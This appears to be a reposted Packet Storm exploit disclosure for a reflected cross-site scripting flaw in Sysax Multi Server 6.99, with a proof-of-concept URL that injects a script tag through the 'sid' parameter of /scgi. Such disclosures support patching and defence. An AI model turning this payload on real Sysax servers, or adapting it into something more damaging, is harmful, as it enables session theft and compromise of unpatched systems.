Sysax Multi Server 6.99 Cross Site Scripting
2024-11-5 00:33:30 Author: packetstormsecurity.com(查看原文) 阅读量:1 收藏 
# Exploit Title: Sysax Multi Server 6.99 - Reflected XSS
# Date: 2024-11-03
# Exploit Author: Yehia Elghaly (Mrvar0x)
# Vendor Homepage: https://www.sysax.com/
# Software Link: https://www.sysax.com/download/sysaxserv_setup.msi
# Version: MultiServer 6.99
# Tested on: Windows 10 x64
Reflected XSS - Affected Parameter  (/scgi?sid).
PoC:
192.168.1.160/scgi?sid=44abd541f5a769556f36080e7c8a7b1f68e04510<script>alert("XSS")</script>&pid=transferpage2_name1_fff.htm

文章来源: https://packetstormsecurity.com/files/182467/sysaxms699-xss.txt
如有侵权请联系:admin#unsafe.sh